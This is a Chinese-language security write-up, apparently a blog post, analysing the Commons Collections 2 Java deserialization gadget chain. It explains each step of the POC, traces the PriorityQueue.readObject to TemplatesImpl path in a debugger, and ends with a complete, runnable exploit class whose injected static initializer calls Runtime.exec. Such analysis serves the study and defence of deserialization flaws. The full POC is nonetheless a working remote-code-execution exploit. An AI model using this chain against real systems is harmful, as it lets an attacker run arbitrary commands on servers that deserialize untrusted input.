Commons Collections2分析
0x01、POC分析
//创建一个CtClass对象的容器
ClassPool classPool=ClassPool.getDefault();
//添加AbstractTranslet的搜索路径
classPool.appendClassPath(AbstractTranslet);
//创建一个新的public类
CtClass payload=classPool.makeClass("CC2");
//让上面创建的类继承AbstractTranslet
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"cmd.exe\");");
首先是通过getDefault
创建一个CtClass对象的容器,然后appendClassPath()
来添加添加AbstractTranslet
的搜索路径;
然后创建一个public修饰的类,类名为CommonsCollection2
;通过setSuperclass
来设置父类;我们在想想看get()
方法是干嘛的?通过该文章javassist使用,可以知道是查找AbstractTranslet
类
此处总结就是:设置父类为AbstractTranslet
然后创建一个静态代码块,静态代码块中设置内容为:
java.lang.Runtime.getRuntime().exec("calc");
第二部分
//反射创建TemplatesImpl
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
//反射获取templatesImpl的_bytecodes字段
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
///将templatesImpl上的_bytecodes字段设置为runtime的byte数组
field.set(templatesImpl,new byte[][]{bytes});
//反射获取templatesImpl的_name字段
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
//将templatesImpl上的_name字段设置为test
field1.set(templatesImpl,"test");
然后通过反射创建,通过实例化调用了构造无参构造,然后newInstance()
来实例化对象,通过反射获取private修饰的_bytecodes
属性;获取私有的时候需要使用暴力反射;
然后将反射获取的_bytecodes
变量赋值为bytes
变量
而bytes
是payload.toBytecode()
,而payload是CommonsCollections2
类的内容;将templatesImpl
上的_bytecodes
字段设置为CC2
类的的byte
数组;
然后再通过反射获取到private
修饰的_name
变量,最后通过反射设置该变量的值为test
;
第三部分
InvokerTransformer transformer=new InvokerTransformer("newTransformer",
new Class[]{},
new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);
而我们通过cc1知道,InvokerTransformer
第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表;接着获取了 InvokerTransformer
实例对象.
所以这边是去调用了newTransformer
这个方法,后面再细讲;然后TransformingComparator
的compare
方法会去调用传入参数的transform
方法。
第四部分
//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
构造参数有三种,然后我们这是第二种,自定义容量大小;然后将指定的元素插入此优先级队列,默认是升序排列;
此处是实验代码~~~,由于本人懒,就不单独写,直接修改一下下;
然后通过反射,去获取comparator
变量,并且最后在comparator
变量设置值为comparator
;
Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
最后步骤一样,设置queue
变量为Object数组,内容为templatesImpl;最后就是输出序列化流
那为什么要添加两个呢?这个稍后调试的时候讲解
0x02、poc调试
这里我先说明一下,因为我昨天去和朋友happy,和初中同学聚了一下还看了唐探3,给忘记了我写了啥东西;所以poc分析就按照之前的废稿写进;然后这边poc我是摘抄自nice一位师傅的;其次就是这边调试我会按照我的思路讲; 接下来就进入正文了
这里不知道上文分析的逻辑,也不想读,就重新理解过程;这边我们看看yso的利用链,这边入口点是PriorityQueue.readObject()
;知道了路口点,那我们可以进去查找下这个readObject()
方法。
断点下好后我们就可以开始debug了,因为前面部分都不是重点。
这边有几个步骤,首先是调用默认的 ObjectInputStream.defaultReadObject()
方法 ,把序列化的文件进行 反序列化去读取数据;然后调用 ObjectInputStream.readInt()
方法读取优先级队列的长度。
SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
此处继续检查集合的容量和类型,然后循环读取数组 queue 的内容这里与 PriorityQueue.writeObject()
方法对应 . 读取 queue 数组的内容
最后进入heapify()
方法中,我们f7继续跟进去看看
进去之后我们发现是调用了siftDown()
方法;那这for判断的是啥?
这时候就涉及到了exp中为何要添加两个值到容器中
那么我们看看for是怎么判断的?
通过此处,size知道为2,经过计算后为0,判断i大于等于0的时候,执行代码的内容为0,满足这条件;那我们无法判断是否是此处的问题,我们可以修改exp试试
queue.add(1);
queue.add(1);
我们先将此处注释掉一个
最后我们在debug到那一步去看看size
的值是多少
这时候可以发现是size
的值是1;如果还有什么疑惑的话,没事,下面我们会分析如何构造出这份exp;
那么我们回归正文,我们继续F7进入siftDown()
方法看看
这个方法可以看到有两个参数,第一个是整数类型的,也就是数字;第二个X
是什么?
X是:queue[i] = queue[0] = TemplatesImpl对象
然后再判断comparator
值不为空的时候为true;然而这个comparator
是TransformingComparator
类型的值,所以进入这个siftDownUsingComparator
;
我们继续f7跟进siftDownUsingComparator
方法里面
然后一直f8到了此处,具体上面的我就不细讲了。这边调用了compare
注意:comparator
是TransformingComparator
类型的值,所以可以知道调用的是TransformingComparator
类里面的compare()
方法噢
所以我们f7进去,查看是不是跟我们的想法一致(读者:这不屁话吗,不一致就大结局了)
注意个问题,这边两个参数的内容都是TemplatesImpl
的实例化对象。那this.transformer
呢?
此处是InvokerTransformer
类型的值,所以这边调用的是InvokerTransformer
里的transform()
方法;这就有点类似CC1里面的了,绕到此处,使用反射进行rce;
但是,这里我们就要细节了,注意看上图中的时时变量,
所以我们跟进去看看所谓的细节~~,既然调用了newTransformer
方法,我们就进去看看这个方法。那这是哪个类的呢?
这里类型是这个,也就是exp构造的类型,所以这个方法属于这个类中的
TemplatesImpl.newTransformer()
方法主要用于获取 TemplatesImpl 实例对象 , 后面可以使用此实例处理来自不同源的XML文档 , 并对其进行转换等操作。其中会调用getTransletInstance
方法。前面可是没有条件判断,意思就是必进的点
进入了getTransletInstance()
方法中
方法用于生成 translet 实例对象 . 这个实例对象随后会被封装在 Transformer 实例对象中。
为什么构造 Payload 时 _name
字段不填充会利用失败 ?
其实是因为 getTransletInstance()
方法会对 TemplatesImpl 对象的 _name
字段有一步判断 , 如果该属性值为 null , 则直接返回 null;不为空的时候,才能进入下面的条件分支
接着代码会判断 _class
字段值是否为空 , 如果为空就会调用 defineTransletClasses()
方法 . 这里 _class
字段为空 , 因此我们跟进该方法。
该方法会对 _bytecodes
字段进行解析 , 核心代码如下:
代码会通过 loader.defineClass()
方法将字节码数组转换成类的实例 。
而唯一的条件就是该类的父类为 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
然后一直到最后,defineTransletClasses()
执行完后会跳回刚刚的地方
由于变量 _transletIndex
的值为 " 0 " , 因此 _class[_transletIndex]
实际上就是我们通过 JAVAssist 构造的恶意类 。
现在会对恶意类调用 newInstance()
方法 , 类会先被加载后再被实例化 .
类在加载时会调用静态代码块中的内容 . 因此服务端最终会进入 java.lang.Runtime.getRuntime().exec()
反射链 , 执行系统命令。
0x03、完整POC
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class exp {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CC2");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();//转换为byte数组
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);
Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
0x04、总结
可能有部分不好,因为分析一半出去玩,然后一回来写,进入状态有点不佳,但是应该很详细了;而CC2链涉及到了两个知识点: JAVAssist 与 PriorityQueu;所以学下这两个知识点就差不多了
参考文章:
https://www.cnblogs.com/nice0e3/p/13860621.html
https://www.cnblogs.com/kuaile1314/p/14239789.html